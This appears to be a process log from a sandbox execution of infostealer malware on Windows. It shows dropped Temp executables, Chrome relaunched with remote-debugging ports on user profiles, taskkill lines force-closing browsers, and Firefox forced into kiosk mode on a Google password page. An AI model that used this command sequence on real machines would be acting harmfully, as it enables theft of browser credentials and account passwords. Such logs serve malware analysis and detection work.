"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3596 --field-trial-handle=1364,i,6530401133983384531,12424283170488365044,131072 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\10110310101\c07bc18ca6.exe

"C:\Users\Admin\AppData\Local\Temp\10110310101\c07bc18ca6.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3732 --field-trial-handle=1364,i,6530401133983384531,12424283170488365044,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef2269758,0x7fef2269768,0x7fef2269778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1152 --field-trial-handle=1300,i,7348055344953193856,4137311701923474599,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1508 --field-trial-handle=1300,i,7348055344953193856,4137311701923474599,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1616 --field-trial-handle=1300,i,7348055344953193856,4137311701923474599,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2368 --field-trial-handle=1300,i,7348055344953193856,4137311701923474599,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2136 --field-trial-handle=1300,i,7348055344953193856,4137311701923474599,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2148 --field-trial-handle=1300,i,7348055344953193856,4137311701923474599,131072 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\10110320101\7ef698cfba.exe

"C:\Users\Admin\AppData\Local\Temp\10110320101\7ef698cfba.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

C:\Users\Admin\AppData\Local\Temp\10110320101\7ef698cfba.exe

"C:\Users\Admin\AppData\Local\Temp\10110320101\7ef698cfba.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef2269758,0x7fef2269768,0x7fef2269778

C:\Users\Admin\AppData\Local\Temp\10110320101\7ef698cfba.exe

"C:\Users\Admin\AppData\Local\Temp\10110320101\7ef698cfba.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1324 -s 516

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1172 --field-trial-handle=1380,i,30299301625886011,17023203757708196677,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1520 --field-trial-handle=1380,i,30299301625886011,17023203757708196677,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1624 --field-trial-handle=1380,i,30299301625886011,17023203757708196677,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2308 --field-trial-handle=1380,i,30299301625886011,17023203757708196677,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2320 --field-trial-handle=1380,i,30299301625886011,17023203757708196677,131072 /prefetch:1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 1028

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1392 --field-trial-handle=1380,i,30299301625886011,17023203757708196677,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3228 --field-trial-handle=1380,i,30299301625886011,17023203757708196677,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3464 --field-trial-handle=1380,i,30299301625886011,17023203757708196677,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3484 --field-trial-handle=1380,i,30299301625886011,17023203757708196677,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef2269758,0x7fef2269768,0x7fef2269778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1160 --field-trial-handle=1284,i,2882902082204120376,16672865804061096781,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1492 --field-trial-handle=1284,i,2882902082204120376,16672865804061096781,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1596 --field-trial-handle=1284,i,2882902082204120376,16672865804061096781,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2288 --field-trial-handle=1284,i,2882902082204120376,16672865804061096781,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2764 --field-trial-handle=1284,i,2882902082204120376,16672865804061096781,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2868 --field-trial-handle=1284,i,2882902082204120376,16672865804061096781,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef2269758,0x7fef2269768,0x7fef2269778

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1160 --field-trial-handle=1376,i,6622215749706418198,14358714483632960194,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1524 --field-trial-handle=1376,i,6622215749706418198,14358714483632960194,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1596 --field-trial-handle=1376,i,6622215749706418198,14358714483632960194,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2172 --field-trial-handle=1376,i,6622215749706418198,14358714483632960194,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2180 --field-trial-handle=1376,i,6622215749706418198,14358714483632960194,131072 /prefetch:1

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1484 --field-trial-handle=1376,i,6622215749706418198,14358714483632960194,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3304 --field-trial-handle=1376,i,6622215749706418198,14358714483632960194,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=1384 --field-trial-handle=1376,i,6622215749706418198,14358714483632960194,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3592 --field-trial-handle=1376,i,6622215749706418198,14358714483632960194,131072 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\10110330101\822b9bf174.exe

"C:\Users\Admin\AppData\Local\Temp\10110330101\822b9bf174.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3764 --field-trial-handle=1376,i,6622215749706418198,14358714483632960194,131072 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\10110340101\1a9f7a1031.exe

"C:\Users\Admin\AppData\Local\Temp\10110340101\1a9f7a1031.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Guest Profile"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef66b9758,0x7fef66b9768,0x7fef66b9778

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1120 --field-trial-handle=1288,i,10730496149954833819,3462560615265395091,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1492 --field-trial-handle=1288,i,10730496149954833819,3462560615265395091,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1608 --field-trial-handle=1288,i,10730496149954833819,3462560615265395091,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9223 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2360 --field-trial-handle=1288,i,10730496149954833819,3462560615265395091,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2616 --field-trial-handle=1288,i,10730496149954833819,3462560615265395091,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2632 --field-trial-handle=1288,i,10730496149954833819,3462560615265395091,131072 /prefetch:1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3420 -s 1400

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1300 --field-trial-handle=1288,i,10730496149954833819,3462560615265395091,131072 /prefetch:2

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4264 --field-trial-handle=1288,i,10730496149954833819,3462560615265395091,131072 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\10110350101\f08adfaf1f.exe

"C:\Users\Admin\AppData\Local\Temp\10110350101\f08adfaf1f.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3080 -s 1204

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="System Profile"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6569758,0x7fef6569768,0x7fef6569778

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1152 --field-trial-handle=1384,i,12664834630296775023,1392275473552775835,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1556 --field-trial-handle=1384,i,12664834630296775023,1392275473552775835,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1608 --field-trial-handle=1384,i,12664834630296775023,1392275473552775835,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9223 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2380 --field-trial-handle=1384,i,12664834630296775023,1392275473552775835,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2024 --field-trial-handle=1384,i,12664834630296775023,1392275473552775835,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2192 --field-trial-handle=1384,i,12664834630296775023,1392275473552775835,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=3476 --field-trial-handle=1384,i,12664834630296775023,1392275473552775835,131072 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\10110360101\3a94a10760.exe

"C:\Users\Admin\AppData\Local\Temp\10110360101\3a94a10760.exe"

C:\Users\Admin\AppData\Local\Temp\10110370101\c195684f8d.exe

"C:\Users\Admin\AppData\Local\Temp\10110370101\c195684f8d.exe"

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM firefox.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM chrome.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM msedge.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM opera.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM brave.exe /T

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.0.417631122\1159385674" -parentBuildID 20221007134813 -prefsHandle 1252 -prefMapHandle 1168 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2baa7d26-3dfa-4567-89ff-cf6722dcfe0d} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 1368 4206558 gpu

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.1.10300439\638994015" -parentBuildID 20221007134813 -prefsHandle 1516 -prefMapHandle 1512 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3a63c3e5-0717-45d7-bcff-bc47b91654cc} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 1528 42d1858 socket

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.2.2136564348\1105333992" -childID 1 -isForBrowser -prefsHandle 1872 -prefMapHandle 1868 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 568 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {342db8c6-54db-45ee-ac62-30d5a002bd75} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 1884 10961158 tab

C:\Program Files\Mozilla Firefox\firefox.exe

